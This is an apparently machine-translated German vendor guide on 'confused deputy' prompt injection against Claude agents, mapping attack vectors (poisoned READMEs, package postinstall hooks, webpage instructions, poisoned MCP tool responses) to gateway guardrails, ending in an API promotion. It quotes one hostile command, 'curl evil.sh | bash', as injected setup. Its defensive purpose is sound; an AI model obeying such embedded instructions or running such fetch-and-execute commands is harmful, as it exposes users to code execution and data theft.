Was ist das Problem mit Claudes verwirrtem Stellvertreter?

Ein „Confuser Deputy“-Angriff liegt vor, wenn ein privilegierter Prozess (Claude Code, Claude in Chrome) Aktionen im Namen eines Angreifers ausführt, der einen Teil seiner Eingaben kontrolliert. Zwischen dem 6. und 7. Mai 2026 veröffentlichten vier Forschungsteams Ergebnisse, die zeigen, dass Claude dazu verleitet werden kann, Shell-Befehle auszuführen, Daten zu exfiltrieren oder Angreifer-URLs zu besuchen, wenn nicht vertrauenswürdige Inhalte (eine README-Datei, eine Webseite, eine MCP-Tool-Antwort) Anweisungen enthalten, die wie Benutzeranfragen aussehen.

Welche Claude-Oberflächen sind betroffen?

Claude Code (CLI-Agent, der Repo-Dateien liest), Claude in Chrome (Browsing-Agent, der Webseiten liest), Claude Desktop mit MCP-Servern (Tool-Antworten können Anweisungen enthalten) und die API, wenn Tool_use-Ergebnisse vom Angreifer kontrollierte Zeichenfolgen enthalten. Das Grundproblem ist bei allen vieren dasselbe: Claude behandelt jeden Token im Kontext als potenziell anweisungentragend.

Bietet Anthropic Schiffsleitplanken dafür?

Ja, teilweise. Claude Code verfügt über ein Berechtigungssystem für Shell- und Dateischreibvorgänge. Claude in Chrome verfügt über eine Aktionsbestätigungsebene. Beides hält einen entschlossenen Angreifer nicht davon ab, Prompt-Injection mit Social Engineering zu verknüpfen. Die Tiefenverteidigungsebene gehört Ihnen: Validieren Sie jede vom Agenten vorgeschlagene URL, scannen Sie jede Tool-Antwort auf IOCs und begrenzen Sie den Blast-Radius am API-Gateway.

Wie unterscheidet sich dies von einer normalen Sofortinjektion?

Die klassische Eingabeaufforderung endet beim Ausgabetext. Der verwirrte Stellvertreter endet mit der Aktion: Ein Shell-Befehl wird ausgeführt, eine URL wird abgerufen, ein Webhook wird ausgelöst, Geld bewegt sich. Der Fix muss dort vorhanden sein, wo Aktionen stattfinden (die Werkzeugebene), nicht dort, wo Text generiert wird (das Modell). Aus diesem Grund sind Leitplanken-Proxys und URL-Validierung wichtiger als eine sofortige Härtung.

Was ist das Minimum, das ich diese Woche hinzufügen sollte?

Drei Dinge. Eine URL-Phishing-Prüfung, bevor der Agent eine Domäne abruft oder verlinkt, die er in der Benutzeraufforderung nicht gesehen hat. Ein PII- und geheimer Scan jeder MCP-Tool-Antwort, bevor sie in Claudes Kontext gelangt. Und eine feste Zulassungsliste von Shell-Befehlen oder HTTP-Hosts auf der Gateway-Ebene. Jeder ist ein API-Aufruf und ein Konfigurationsblock.

Guide

Claude verwirrt-Stellvertreter-Prüfungsmatrix: 4 blinde Flecken, 3 Leitplanken

16. Mai 2026 | 8 min read

Vier Forschungsteams haben zwischen dem 6. und 7. Mai 2026 die Claude-Prompt-Injection-Ergebnisse veröffentlicht. Eine Prüfmatrix, die jeden blinden Fleck einer konkreten Leitplanke zuordnet (URL-Prüfung, PII-Scan, Shell-Zulassungsliste), können Sie diese Woche versenden.

Security audit checklist representing Claude confused-deputy guardrails — Photo by Towfiqu barbhuiya on Unsplash

Zwischen dem 6. und 7. Mai 2026 veröffentlichten vier verschiedene Forschungsteams Ergebnisse über Claude Prompt Injektion. Die meisten Berichterstattungen behandelten sie als drei verschiedene Geschichten. Sie sind die gleiche Geschichte: a verwirrtes Stellvertreterproblem, bei dem Claude Aktionen im Namen eines Angreifers ausführt, der die Kontrolle hat nicht vertrauenswürdiger Inhalt in seinem Kontextfenster.

Eine README-Datei in einem geklonten Repo kann Shell-Befehle über Claude Code ausführen. Eine Webseite in Claude in Chrome kann den Agenten dazu verleiten, Angreifer-URLs abzurufen. Eine MCP-Tool-Antwort kann Anweisungen injizieren dass der nächste Werkzeugaufruf gehorcht. Das Modell tut, was ihm gesagt wurde; Das Problem ist das Modell Ich kann nicht sagen, wer das erzählt.

Teilverteidigungen anthropischer Schiffe (Eingabeaufforderungen in Claude Code, Aktionsbestätigungen in Claude in Chrome). Der Rest gehört dir. Hier ist die Prüfmatrix, die jeden blinden Fleck einem zuordnet Konkrete Leitplanken und eine einmalige API-Prüfung können Sie noch heute in Ihr MCP-Gateway einbinden.

Die vier blinden Flecken

Oberfläche	Angriffsvektor	Was läuft	Native Leitplanke
Claude Code	Vergiftete README-Datei, Paket `postinstall`, oder git commit body	Shell-Befehl, Datei schreiben, Git-Push	Erlaubnisaufforderung
Claude in Chrome	Als Benutzeranfragen getarnte Webseitenanweisungen	Klicken, Formular absenden, Link folgen	Aktionsbestätigung
Claude Desktop + MCP	Die Tool-Antwort enthält Anweisungen für den nächsten Aufruf	Verketteter MCP-Tool-Aufruf, Dateilesen, Netzwerkabruf	Tool-Zustimmungsdialog
API `tool_use`	Nicht vertrauenswürdige Zeichenfolge in einem Tool-Ergebnisblock	Was auch immer die nächste Runde entscheidet	Standardmäßig keine

Jede native Leitplanke fängt den offensichtlichen Fall ab (ein Shell-Befehl, nach dem der Benutzer nicht gefragt hat) und das Subtile fehlt (ein „harmloses“ Vorgehen gegenüber einem ähnlichen Host, den der Benutzer noch nie gesehen hat). Die Lösung ist eine Tiefenverteidigung auf der Werkzeugebene, nicht auf der Eingabeaufforderungsebene.

Leitlinie 1: Überprüfen Sie jede URL, die der Agent berührt, auf Phishing

Die häufigste Eskalation verwirrter Stellvertreter lautet: „Besuchen Sie diese URL und sagen Sie mir, was dort steht.“ Die Die URL gehört dem Angreifer. Die Daten, die der Agent als nächstes liest, sind nun seine Eingabe. Führen Sie ein Phishing durch Überprüfen Sie jede URL, die der Agent in der ursprünglichen Benutzeraufforderung nicht gesehen hat:

Ein Klassiker ist eine rohe ausführbare Datei, die auf einem anonymen Gist ohne angehefteten Commit gehostet wird Prompt-Injection-to-Shell-Execution-Kette. Das Urteil kommt in weniger als 100 ms zurück; Du speicherst vorbei URL-Hash für 10 Minuten; Sie lassen Tool-Aufrufe fallen, deren Urteil etwas anderes ist als clean.

Leitplanke 2: PII und geheimer Scan bei jeder MCP-Tool-Antwort

Die zweite Eskalation ist Tool Response Poisoning. Ein MCP-Tool gibt einen 4 KB großen JSON-Blob zurück; irgendwo In diesem Blob handelt es sich um eine Anweisungszeichenfolge. Claude liest den gesamten Blob und die Anweisung gewinnt. Die Blob kann auch an anderer Stelle gesammelte Anmeldeinformationen preisgeben, die dann in die Argumentation des Modells gelangen Trace und Ihre Gesprächsprotokolle.

Blockieren Sie, dass die Tool-Antwort das Modell erreicht, wenn es Live-Anmeldeinformationen enthält. E-Mails redigieren und Telefone, es sei denn, der Benutzer hat danach gefragt. Behandeln Sie jeden MCP-Server standardmäßig als nicht vertrauenswürdig. Du Ich weiß nicht, wer die Upstream-Datenquelle vergiftet hat.

Leitplanke 3: Hard-Host- und Shell-Zulassungslisten am Gateway

Die dritte Eskalation ist diejenige, die Unternehmen beißt: ein Agent, der stillschweigend seine eigenen erweitert erreichen. Eine README-Datei überzeugt Claude Code zur Ausführung curl evil.sh | bash „zur Einrichtung.“ A Die Webseite überzeugt Claude in Chrome, ein Formular auf einer ähnlichen Domain einzureichen. Beide Angriffe sterben gegen eine feste Zulassungsliste:

Die Zulassungsliste ist langweilig. Langweilig ist der Punkt. Jede Aktion, die der Zulassungsliste entgeht schlägt sofort fehl oder zeigt eine Eingabeaufforderung an, die der Benutzer lesen muss. Der Agent bleibt im Inneren nützlich Sandkasten und harmlos außerhalb davon.

Das MCP-Gateway mit 60 Leitungen, das es miteinander verbindet

Alle drei Leitplanken leben in einer Middleware-Funktion, die zwischen Claude und jedem MCP liegt Server. Es zieht URLs aus Tool-Antworten, vergleicht sie mit einem vertrauenswürdigen Hostsatz und a Sitzungszulassungsliste, führt einen PII-Scan durch und gibt eine strukturierte Blockierungsentscheidung an die Hostanwendung zurück kann dem Benutzer auftauchen:

Der vertrauenswürdige Hostsatz enthält Ihre eigenen APIs. Die Sitzungszulassungsliste beginnt leer und wächst mit der Zeit Der Benutzer genehmigt Hosts während der Sitzung explizit. Durch das Caching bleibt der Scheck praktisch kostenlos Wiederholen Sie URLs (denken Sie an Paginierung, Wiederholungsversuche, dieselbe Dokumentseite bei allen Toolaufrufen).

Wenn Sie noch kein Gateway betreiben können, machen Sie die kostengünstige Variante: Protokollieren Sie jede URL und jeden Shell-Befehl Der Agent schlägt einen strukturierten Speicher vor und warnt vor allem, was einen Host trifft, den Sie nicht getroffen haben vorab autorisieren. Erkennung ohne Prävention schlägt keines von beidem.

Wo dies in eine Tiefenverteidigungshaltung passt

Die Prüfmatrix ist kein Ersatz für die eigene Arbeit von Anthropic. Es ist die Ebene, die Sie kontrollieren. A Sinnvolle Aufteilung:

Anthropic besitzt das Modell: Robustheit der Prompt-Injection, Befehlshierarchie Training, Verweigerungsverhalten.
Sie besitzen die Werkzeugoberfläche: URL-Validierung, PII-Bereinigung, Host und Shell Zulassungslisten, MCP-Serverinventur.
Ihr IdP besitzt die Identität: kurzlebige Token für den Agenten pro Sitzung Audit, getrennte Anmeldeinformationen vom menschlichen Benutzer.

Überspringen Sie eine beliebige Ebene und der nächste verwirrte Stellvertreterbericht enthält Ihren Vorfall. Die Forschung vom 6. bis 7. Mai ist eine kostenlose Vorschau dessen, was jedes Team liefern muss, bevor dies zu einem vierteljährlichen Nachrichtenzyklus wird.

Wichtige Erkenntnisse

Vier blinde Flecken, eine Grundursache. Claude behandelt jeden Token als potenziell Anweisungstragend. Nicht vertrauenswürdiger Inhalt im Kontext ist ein Aktionsvektor und kein passives Lesen.
URL-Phishing-Prüfung für jede vom Tool vorgeschlagene URL. Ein API-Aufruf, 100 ms, zwischengespeichert. Löscht die häufigste Eskalationskette für Eingabeaufforderungen.
PII-Scan bei jeder MCP-Tool-Antwort. Blockiert die Exfiltration von Anmeldeinformationen Tool-Ergebnisvergiftung und hält Geheimnisse aus Gesprächsprotokollen fern.
Harte Zulassungslisten am Gateway. Shell-Befehle und Host-Zulassungslisten töten das Eskalation „unauffällig die Reichweite erweitern“. Langweilig, endlich, effektiv.
Aufteilung der Verteidigung in die Tiefe. Anthropic besitzt das Modell, Sie besitzen die Werkzeugoberfläche, Ihr IdP besitzt die Identität. Überspringen Sie eine Ebene und der nächste Forschungstropfen benennt Sie.

Botoi-Ausstellungen /v1/phishing/check, /v1/pii/detect, /v1/url-metadataund etwa 200 weitere Einzweck-Endpunkte hinter einem API-Schlüssel mit 5 Anforderungen/Minute kostenlos. Verdrahten Sie sie mit Ihrem MCP-Gateway oder rufen Sie sie über Claude Code selbst an die botoi MCP-Server. Durchsuchen Sie die interaktive Dokumente beginnen.

FAQ

Was ist das Problem mit Claudes verwirrtem Stellvertreter?: Ein „Confuser Deputy“-Angriff liegt vor, wenn ein privilegierter Prozess (Claude Code, Claude in Chrome) Aktionen im Namen eines Angreifers ausführt, der einen Teil seiner Eingaben kontrolliert. Zwischen dem 6. und 7. Mai 2026 veröffentlichten vier Forschungsteams Ergebnisse, die zeigen, dass Claude dazu verleitet werden kann, Shell-Befehle auszuführen, Daten zu exfiltrieren oder Angreifer-URLs zu besuchen, wenn nicht vertrauenswürdige Inhalte (eine README-Datei, eine Webseite, eine MCP-Tool-Antwort) Anweisungen enthalten, die wie Benutzeranfragen aussehen.
Welche Claude-Oberflächen sind betroffen?: Claude Code (CLI-Agent, der Repo-Dateien liest), Claude in Chrome (Browsing-Agent, der Webseiten liest), Claude Desktop mit MCP-Servern (Tool-Antworten können Anweisungen enthalten) und die API, wenn Tool_use-Ergebnisse vom Angreifer kontrollierte Zeichenfolgen enthalten. Das Grundproblem ist bei allen vieren dasselbe: Claude behandelt jeden Token im Kontext als potenziell anweisungentragend.
Bietet Anthropic Schiffsleitplanken dafür?: Ja, teilweise. Claude Code verfügt über ein Berechtigungssystem für Shell- und Dateischreibvorgänge. Claude in Chrome verfügt über eine Aktionsbestätigungsebene. Beides hält einen entschlossenen Angreifer nicht davon ab, Prompt-Injection mit Social Engineering zu verknüpfen. Die Tiefenverteidigungsebene gehört Ihnen: Validieren Sie jede vom Agenten vorgeschlagene URL, scannen Sie jede Tool-Antwort auf IOCs und begrenzen Sie den Blast-Radius am API-Gateway.
Wie unterscheidet sich dies von einer normalen Sofortinjektion?: Die klassische Eingabeaufforderung endet beim Ausgabetext. Der verwirrte Stellvertreter endet mit der Aktion: Ein Shell-Befehl wird ausgeführt, eine URL wird abgerufen, ein Webhook wird ausgelöst, Geld bewegt sich. Der Fix muss dort vorhanden sein, wo Aktionen stattfinden (die Werkzeugebene), nicht dort, wo Text generiert wird (das Modell). Aus diesem Grund sind Leitplanken-Proxys und URL-Validierung wichtiger als eine sofortige Härtung.
Was ist das Minimum, das ich diese Woche hinzufügen sollte?: Drei Dinge. Eine URL-Phishing-Prüfung, bevor der Agent eine Domäne abruft oder verlinkt, die er in der Benutzeraufforderung nicht gesehen hat. Ein PII- und geheimer Scan jeder MCP-Tool-Antwort, bevor sie in Claudes Kontext gelangt. Und eine feste Zulassungsliste von Shell-Befehlen oder HTTP-Hosts auf der Gateway-Ebene. Jeder ist ein API-Aufruf und ein Konfigurationsblock.

Starte mit botoi zu entwickeln

150+ API-Endpunkte für Abfragen, Textverarbeitung, Bildgenerierung und Entwickler-Tools. Kostenloser Tarif, keine Kreditkarte nötig.

API-Dokumentation ansehen Alle Tools ansehen